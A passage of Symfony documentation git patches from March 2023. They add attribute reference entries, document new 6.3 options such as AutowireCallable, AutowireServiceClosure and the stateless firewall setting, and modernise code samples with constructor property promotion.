@@ -408,7 +408,7 @@ You can also use these functions:
         // Controller (using an alias):
         #[Route(condition: "service('route_checker').check(request)")]
         // Or without alias:
-        #[Route(condition: "service('Ap\\\Service\\\RouteChecker').check(request)")]
+        #[Route(condition: "service('App\\\Service\\\RouteChecker').check(request)")]
 
 .. versionadded:: 6.1
 

From 095824b88c6587b8e3a255de54a8934ddc838ce4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 9 Mar 2023 10:12:31 +0100
Subject: [PATCH 4389/7107] [Attributes] Add attributes overview for 6.3

---
 reference/attributes.rst              | 7 +++++++
 reference/configuration/framework.rst | 2 ++
 2 files changed, 9 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index f2b22ca958d..e6dc4a2bc6f 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -12,6 +12,7 @@ Doctrine Bridge
 ~~~~~~~~~~~~~~~
 
 * :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
+* :ref:`MapEntity <doctrine-entity-value-resolver>`
 
 Command
 ~~~~~~~
@@ -27,11 +28,13 @@ Contracts
 Dependency Injection
 ~~~~~~~~~~~~~~~~~~~~
 
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AsAlias`
 * :doc:`AsDecorator </service_container/service_decoration>`
 * :ref:`AsTaggedItem <tags_as-tagged-item>`
 * :ref:`Autoconfigure <lazy-services_configuration>`
 * :ref:`AutoconfigureTag <di-instanceof>`
 * :ref:`Autowire <autowire-attribute>`
+* :ref:`Exclude <service-psr4-loader>`
 * :doc:`MapDecorated </service_container/service_decoration>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
@@ -52,8 +55,12 @@ HttpKernel
 ~~~~~~~~~~
 
 * :doc:`AsController </controller/service>`
+* :class:`Symfony\\Component\\HttpKernel\\Attribute\\AsPinnedValueResolver`
 * :ref:`Cache <http-cache-expiration-intro>`
 * :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapDateTime`
+* :class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver`
+* :ref:`WithHttpStatus <framework_exceptions>`
+* :ref:`WithLogLevel <framework_exceptions>`
 
 Messenger
 ~~~~~~~~~
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index afef1334e2c..5e30b411eb6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3561,6 +3561,8 @@ Defines the kind of workflow that is going to be created, which can be either
 a normal workflow or a state machine. Read :doc:`this article </workflow/workflow-and-state-machine>`
 to know their differences.
 
+.. _framework_exceptions:
+
 exceptions
 ~~~~~~~~~~
 

From 4c01579fd0152dae98ec97688483307a84150d37 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 9 Mar 2023 11:24:00 +0100
Subject: [PATCH 4390/7107] [Attributes] Add missing #[MapEntity] attribute

---
 reference/attributes.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index f2b22ca958d..b5f32a3694b 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -12,6 +12,7 @@ Doctrine Bridge
 ~~~~~~~~~~~~~~~
 
 * :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
+* :ref:`MapEntity <doctrine-entity-value-resolver>`
 
 Command
 ~~~~~~~

From f6d4b6c0ffc17dbc0b8d0b672f962aa4c67a191a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 9 Mar 2023 20:19:04 +0100
Subject: [PATCH 4391/7107] Document BackedEnumNormalizer::ALLOW_INVALID_VALUES
 context option

---
 components/serializer.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index d55f9959fee..c274d7fc33e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -851,6 +851,13 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
     This normalizer converts a \BackedEnum objects into strings or integers.
 
+    By default, it throw an exception when data is not belong to a backed enumeration. If you
+    want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
+
+    .. versionadded:: 6.3
+
+        The ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` context option was introduced in Symfony 6.3.
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
     This normalizer works with classes that implement
     :class:`Symfony\\Component\\Form\\FormInterface`.

From ea78a5d1c95c7cae09814bbd650f09e981ef5259 Mon Sep 17 00:00:00 2001
From: Tim Krase <38947626+timkrase@users.noreply.github.com>
Date: Thu, 9 Mar 2023 22:35:35 +0100
Subject: [PATCH 4392/7107] Add missing import for LogRecord in processors

---
 logging/processors.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/logging/processors.rst b/logging/processors.rst
index 6d2fe971729..81c36e4a3d4 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -19,6 +19,7 @@ using a processor::
     // src/Logger/SessionRequestProcessor.php
     namespace App\Logger;
 
+    use Monolog\LogRecord;
     use Symfony\Component\HttpFoundation\Exception\SessionNotFoundException;
     use Symfony\Component\HttpFoundation\RequestStack;
 

From a6e08b2f25958609189b61e091882f969ddff55b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 10 Mar 2023 08:02:29 +0100
Subject: [PATCH 4393/7107] Minor

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index c274d7fc33e..6aac030b225 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -851,7 +851,7 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
     This normalizer converts a \BackedEnum objects into strings or integers.
 
-    By default, it throw an exception when data is not belong to a backed enumeration. If you
+    By default, an exception is thrown when data is not a valid backed enumeration. If you
     want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
 
     .. versionadded:: 6.3

From 15465df251c19acff319db5304db7c9471be99e2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 10 Mar 2023 08:07:41 +0100
Subject: [PATCH 4394/7107] Use CPP

---
 logging/processors.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 81c36e4a3d4..0ff2e88ea78 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -25,11 +25,9 @@ using a processor::
 
     class SessionRequestProcessor
     {
-        private $requestStack;
-
-        public function __construct(RequestStack $requestStack)
-        {
-            $this->requestStack = $requestStack;
+        public function __construct(
+            private RequestStack $requestStack
+        ) {
         }
 
         // this method is called for each log record; optimize it to not hurt performance

From 12e04fe5cc4f8f1ede3dc495236234bf3009bca1 Mon Sep 17 00:00:00 2001
From: Tim Krase <38947626+timkrase@users.noreply.github.com>
Date: Fri, 10 Mar 2023 12:25:55 +0100
Subject: [PATCH 4395/7107] Use cpp in monolog console code example

---
 logging/monolog_console.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 008be08a463..fe9758430d6 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -45,11 +45,8 @@ The example above could then be rewritten as::
 
     class YourCommand extends Command
     {
-        private $logger;
-
-        public function __construct(LoggerInterface $logger)
+        public function __construct(private LoggerInterface $logger)
         {
-            $this->logger = $logger;
         }
 
         protected function execute(InputInterface $input, OutputInterface $output)

From f70051b900b1835680d1b373e65af945c0edf5a4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 10 Mar 2023 16:48:46 +0100
Subject: [PATCH 4396/7107] Minor

---
 service_container/factories.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index 36a9a2e7db8..98ba2a1b791 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -19,7 +19,7 @@ Static Factories
 Suppose you have a factory that configures and returns a new ``NewsletterManager``
 object by calling the static ``createNewsletterManager()`` method::
 
-    // src/Email\NewsletterManagerStaticFactory.php
+    // src/Email/NewsletterManagerStaticFactory.php
     namespace App\Email;
 
     // ...

From 95a06a15451730816b9126136011956d4a8709df Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 10 Mar 2023 16:18:10 +0100
Subject: [PATCH 4397/7107] [DependencyInjection] Explain how to use the class
 itself as factory

---
 service_container/factories.rst | 73 +++++++++++++++++++++++++++++++++
 1 file changed, 73 insertions(+)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index 36a9a2e7db8..6db7e7261bf 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -100,6 +100,79 @@ create its object:
     the configured class name may be used by compiler passes and therefore
     should be set to a sensible value.
 
+Using the Class as Factory Itself
+---------------------------------
+
+When the static factory method is on the same class as the created instance,
+the class name can be omitted from the factory declaration.
+Let's suppose the ``NewsletterManager`` class has a ``create()`` method that needs
+to be called to create the object and needs a sender::
+
+    // src/Email/NewsletterManager.php
+    namespace App\Email;
+
+    // ...
+
+    class NewsletterManager
+    {
+        private string $sender;
+
+        public static function create(string $sender): self
+        {
+            $newsletterManager = new self();
+            $newsletterManager->sender = $sender;
+            // ...
+
+            return $newsletterManager;
+        }
+    }
+
+You can omit the class on the factory declaration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Email\NewsletterManager:
+                factory: [null, 'create']
+                arguments:
+                    $sender: 'fabien@symfony.com'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Email\NewsletterManager">
+                    <factory method="create"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Email\NewsletterManager;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            // Note that we are not using service()
+            $services->set(NewsletterManager::class)
+                ->factory([null, 'create']);
+        };
+
 Non-Static Factories
 --------------------
 

From a6246a75c55437f5bd598b634071ab3d3ff1943b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 10 Mar 2023 16:57:44 +0100
Subject: [PATCH 4398/7107] Remove duplicate mention

---
 service_container/factories.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index 930e2160c6d..ba747c82da8 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -65,12 +65,6 @@ create its object:
                 <service id="App\Email\NewsletterManager">
                     <!-- the first argument is the class and the second argument is the static method -->
                     <factory class="App\Email\NewsletterManagerStaticFactory" method="createNewsletterManager"/>
-
-                    <!-- if the factory class is the same as the service class, you can omit
-                         the 'class' attribute and define just the 'method' attribute:
-
-                         <factory method="createNewsletterManager"/>
-                    -->
                 </service>
             </services>
         </container>

From 7a1e101e8c9e8cd2434802b618e2d621309eab8f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 6 Mar 2023 13:35:09 +0100
Subject: [PATCH 4399/7107] [Validator] Add `exclude` option to `Cascade`

---
 reference/constraints/Cascade.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/constraints/Cascade.rst b/reference/constraints/Cascade.rst
index 5880fdd6389..eb470fd8e31 100644
--- a/reference/constraints/Cascade.rst
+++ b/reference/constraints/Cascade.rst
@@ -87,4 +87,16 @@ Options
 
 The ``groups`` option is not available for this constraint.
 
+``exclude``
+~~~~~~~~~~~
+
+**type**: ``array`` | ``string`` **default**: ``null``
+
+This option can be used to exclude one or more properties from the
+cascade validation.
+
+.. versionadded:: 6.3
+
+    The ``exclude`` option was introduced in Symfony 6.3.
+
 .. include:: /reference/constraints/_payload-option.rst.inc

From 8d3e31ae50749bac465eb485dcfbfcad4de670cd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 10 Mar 2023 17:51:11 +0100
Subject: [PATCH 4400/7107] [Attributes] Add `#[MapDateTime]` reference

---
 controller/value_resolver.rst | 3 ++-
 reference/attributes.rst      | 2 +-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 6ceeee77084..fa71918cd7d 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -96,7 +96,8 @@ Symfony ships with the following value resolvers in the
 
     .. versionadded:: 6.1
 
-        The ``DateTimeValueResolver`` was introduced in Symfony 6.1.
+        The ``DateTimeValueResolver`` and the ``MapDateTime`` attribute were
+        introduced in Symfony 6.1.
 
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestValueResolver`
     Injects the current ``Request`` if type-hinted with ``Request`` or a class
diff --git a/reference/attributes.rst b/reference/attributes.rst
index f2b22ca958d..0761df10a54 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -53,7 +53,7 @@ HttpKernel
 
 * :doc:`AsController </controller/service>`
 * :ref:`Cache <http-cache-expiration-intro>`
-* :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapDateTime`
+* :ref:`MapDateTime <functionality-shipped-with-the-httpkernel>`
 
 Messenger
 ~~~~~~~~~

From 7a7a82fde75959a5d3398960d8bfd48933b15abe Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 3 Jan 2023 22:13:19 +0100
Subject: [PATCH 4401/7107] [SecurityBundle] Add doc for stateless firewall

---
 reference/configuration/security.rst | 48 ++++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 672d93b0b0a..826363f317b 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -899,6 +899,54 @@ multiple firewalls, the "context" could actually be shared:
     ignored and you won't be able to authenticate on multiple firewalls at the
     same time.
 
+stateless
+~~~~~~~~~
+
+Firewalls can configure a ``stateless`` boolean option in order to declare that the session mustn't be used when authenticating user:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    stateless: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main" stateless="true">
+                    <!-- ... -->
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->stateless(true);
+            // ...
+        };
+
 User Checkers
 ~~~~~~~~~~~~~
 

From 7a68b25de5f3532515094d66ba9dcccfaddf9faf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 10 Mar 2023 20:14:10 +0100
Subject: [PATCH 4402/7107] [Attributes] Add `AsAlias` reference

---
 reference/attributes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index e6dc4a2bc6f..d82fb093715 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -28,7 +28,7 @@ Contracts
 Dependency Injection
 ~~~~~~~~~~~~~~~~~~~~
 
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AsAlias`
+* :ref:`AsAlias <services-alias>`
 * :doc:`AsDecorator </service_container/service_decoration>`
 * :ref:`AsTaggedItem <tags_as-tagged-item>`
 * :ref:`Autoconfigure <lazy-services_configuration>`

From 0d2486dd3d0fc8b627a0602ce0a8e9ac828416ff Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 10 Mar 2023 20:21:14 +0100
Subject: [PATCH 4403/7107] [Form] Remove evasive getOrigin sentence

---
 components/form.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/components/form.rst b/components/form.rst
index ac569e3d8eb..601f66641b9 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -749,7 +749,6 @@ method to access the list of errors. It returns a
     $errors = $form['firstName']->getErrors();
 
     // a FormErrorIterator instance in a flattened structure
-    // use getOrigin() to determine the form causing the error
     $errors = $form->getErrors(true);
 
     // a FormErrorIterator instance representing the form tree structure

From 4b5877c523c7f9efd3f69c257716044f7da127f3 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 9 Mar 2023 19:56:15 +0100
Subject: [PATCH 4404/7107] Change security title for checking if user is
 logged in

---
 security.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index 79e08227f34..3908b976d4a 100644
--- a/security.rst
+++ b/security.rst
@@ -2456,15 +2456,17 @@ these voters is similar to the role-based access checks implemented in the
 previous chapters. Read :doc:`/security/voters` to learn how to implement
 your own voter.
 
-Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _checking-to-see-if-a-user-is-logged-in-is-authenticated-fully:
+
+Checking to see if a User is Logged In
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you *only* want to check if a user is logged in (you don't care about roles),
 you have the following two options.
 
 Firstly, if you've given *every* user ``ROLE_USER``, you can check for that role.
 
-Secondly, you can use a special "attribute" in place of a role::
+Secondly, you can use the special "attribute" ``IS_AUTHENTICATED_FULLY`` in place of a role::
 
     // ...
 

From b7392ebe91df3a3d46f4aceb0160541b57efee0c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 11 Mar 2023 10:44:36 +0100
Subject: [PATCH 4405/7107] Fix: Typo

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 3908b976d4a..cb2e21d675e 100644
--- a/security.rst
+++ b/security.rst
@@ -2533,7 +2533,7 @@ If you're having problems authenticating, it could be that you *are* authenticat
 successfully, but you immediately lose authentication after the first redirect.
 
 In that case, review the serialization logic (e.g. the ``__serialize()`` or
-``serialize()`` methods) on you user class (if you have any) to make sure
+``serialize()`` methods) on your user class (if you have any) to make sure
 that all the fields necessary are serialized and also exclude all the
 fields not necessary to be serialized (e.g. Doctrine relations).
 

From 12880b880ff761034bf16b23e7a9bb00d63c3f33 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 11 Mar 2023 10:48:40 +0100
Subject: [PATCH 4406/7107] Minor

---
 logging/monolog_console.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index fe9758430d6..54ae9c7ab7b 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -45,8 +45,9 @@ The example above could then be rewritten as::
 
     class YourCommand extends Command
     {
-        public function __construct(private LoggerInterface $logger)
-        {
+        public function __construct(
+            private LoggerInterface $logger,
+        ) {
         }
 
         protected function execute(InputInterface $input, OutputInterface $output)

From bcf4bec11d844544e3ad5f6468da59363b0b9067 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Fri, 10 Mar 2023 21:27:07 +0100
Subject: [PATCH 4407/7107] DependencyInjection] Deprecate `#[MapDecorated]` in
 favor of `#[AutowireDecorated]`

---
 reference/attributes.rst                      |  2 +-
 service_container/service_decoration.rst      | 20 ++++++++++++-------
 .../service_subscribers_locators.rst          |  4 ++--
 3 files changed, 16 insertions(+), 10 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index e6dc4a2bc6f..d6b91c57574 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -34,8 +34,8 @@ Dependency Injection
 * :ref:`Autoconfigure <lazy-services_configuration>`
 * :ref:`AutoconfigureTag <di-instanceof>`
 * :ref:`Autowire <autowire-attribute>`
+* :doc:`AutowireDecorated </service_container/service_decoration>`
 * :ref:`Exclude <service-psr4-loader>`
-* :doc:`MapDecorated </service_container/service_decoration>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
 * :ref:`Target <autowiring-multiple-implementations-same-type>`
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 7bc3ea7e5fa..2662c0ac85e 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -150,14 +150,14 @@ automatically changed to ``'.inner'``):
 
         // ...
         use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-        use Symfony\Component\DependencyInjection\Attribute\MapDecorated;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
 
         #[AsDecorator(decorates: Mailer::class)]
         class DecoratingMailer
         {
             private $inner;
 
-            public function __construct(#[MapDecorated] $inner)
+            public function __construct(#[AutowireDecorated] $inner)
             {
                 $this->inner = $inner;
             }
@@ -215,6 +215,12 @@ automatically changed to ``'.inner'``):
                 ->args([service('.inner')]);
         };
 
+.. deprecated:: 6.3
+
+    The ``#[MapDecorated]`` attribute is deprecated since Symfony 6.3.
+    Instead, use the
+    :class:`#[AutowireDecorated] <Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated>` attribute.
+
 .. tip::
 
     The visibility of the decorated ``App\Mailer`` service (which is an alias
@@ -293,14 +299,14 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
 
             // ...
             use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\MapDecorated;
+            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
 
             #[AsDecorator(decorates: Foo::class, priority: 5)]
             class Bar
             {
                 private $inner;
 
-                public function __construct(#[MapDecorated] $inner)
+                public function __construct(#[AutowireDecorated] $inner)
                 {
                     $this->inner = $inner;
                 }
@@ -312,7 +318,7 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             {
                 private $inner;
 
-                public function __construct(#[MapDecorated] $inner)
+                public function __construct(#[AutowireDecorated] $inner)
                 {
                     $this->inner = $inner;
                 }
@@ -616,7 +622,7 @@ Three different behaviors are available:
 
             // ...
             use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\MapDecorated;
+            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
             use Symfony\Component\DependencyInjection\ContainerInterface;
 
             #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
@@ -624,7 +630,7 @@ Three different behaviors are available:
             {
                 private $inner;
 
-                public function __construct(#[MapDecorated] $inner)
+                public function __construct(#[AutowireDecorated] $inner)
                 {
                     $this->inner = $inner;
                 }
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 925f824d99f..016baa0252f 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -263,7 +263,7 @@ method directly:
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\MapDecorated`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated`
 
 This is done by having ``getSubscribedServices()`` return an array of
 :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` objects
@@ -864,7 +864,7 @@ of the following dependency injection attributes:
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\MapDecorated`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated`
 
 Here's an example::
 

From 5af80afba0c0ee0917a295a550ca58de0024318d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 12 Mar 2023 11:22:04 +0100
Subject: [PATCH 4408/7107] [DependencyInjection] Add `#[AutowireCallable]` and
 `#[AutowireServiceClosure]`

---
 reference/attributes.rst               |  2 ++
 service_container.rst                  | 47 ++++++++++++++++++++++++++
 service_container/service_closures.rst | 38 +++++++++++++++++++++
 3 files changed, 87 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 5ec2d0578d6..da7aa372e81 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -34,7 +34,9 @@ Dependency Injection
 * :ref:`Autoconfigure <lazy-services_configuration>`
 * :ref:`AutoconfigureTag <di-instanceof>`
 * :ref:`Autowire <autowire-attribute>`
+* :ref:`AutowireCallable <container_closure-as-argument>`
 * :doc:`AutowireDecorated </service_container/service_decoration>`
+* :doc:`AutowireServiceClosure </service_container/service_closures>`
 * :ref:`Exclude <service-psr4-loader>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
diff --git a/service_container.rst b/service_container.rst
index e73d7ea86f1..386e0faa1b5 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -702,6 +702,8 @@ For a full list of *all* possible services in the container, run:
 
     $ php bin/console debug:container
 
+.. _container_closure-as-argument:
+
 Injecting a Closure as an Argument
 ----------------------------------
 
@@ -796,6 +798,51 @@ Our configuration looks like this:
 
     The ``closure`` argument type was introduced in Symfony 6.1.
 
+It is also possible to convert a callable into an injected closure
+thanks to the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
+attribute. Let's say our ``MessageHashGenerator`` class now has a ``generate()``
+method::
+
+        // src/Hash/MessageHashGenerator.php
+        namespace App\Hash;
+
+        class MessageHashGenerator
+        {
+            public function generate(): string
+            {
+                // Compute and return a message hash
+            }
+        }
+
+We can inject the ``generate()`` method of the ``MessageHashGenerator``
+like this::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use App\Hash\MessageHashGenerator;
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireCallable;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            private readonly LoggerInterface $logger,
+            #[AutowireCallable(service: MessageHashGenerator::class, method: 'generate')]
+            private readonly \Closure $generateMessageHash
+        ) {
+            // ...
+        }
+
+        // ...
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
+    attribute was introduced in Symfony 6.3.
+
 .. _services-binding:
 
 Binding Arguments by Name or Type
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 54b4db7f4a7..8a0bb450e68 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -92,6 +92,44 @@ argument of type ``service_closure``:
     Another way to inject services lazily is via a
     :doc:`service locator </service_container/service_subscribers_locators>`.
 
+Thanks to the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
+attribute, defining a service wrapped in a closure can directly be done
+in the service class, without further configuration::
+
+    // src/Service/MyService.php
+    namespace App\Service;
+
+    use Symfony\Component\DependencyInjection\Attribute\AutowireServiceClosure;
+    use Symfony\Component\Mailer\MailerInterface;
+
+    class MyService
+    {
+        public function __construct(
+            #[AutowireServiceClosure('mailer')]
+            private readonly \Closure $mailer
+        ) {
+            $this->mailer = $mailer;
+        }
+
+        public function doSomething(): void
+        {
+            // ...
+
+            $this->getMailer()->send($email);
+        }
+
+        private function getMailer(): MailerInterface
+        {
+            return ($this->mailer)();
+        }
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
+    attribute was introduced in Symfony 6.3.
+
 Using a Service Closure in a Compiler Pass
 ------------------------------------------
 

From 1e65fc3d26f5e009e4834b6ca1b4cc2087909a19 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 13 Mar 2023 10:26:52 +0100
Subject: [PATCH 4409/7107] Upgrade doctor rst 1.41.3

---
 .github/workflows/ci.yaml       |  2 +-
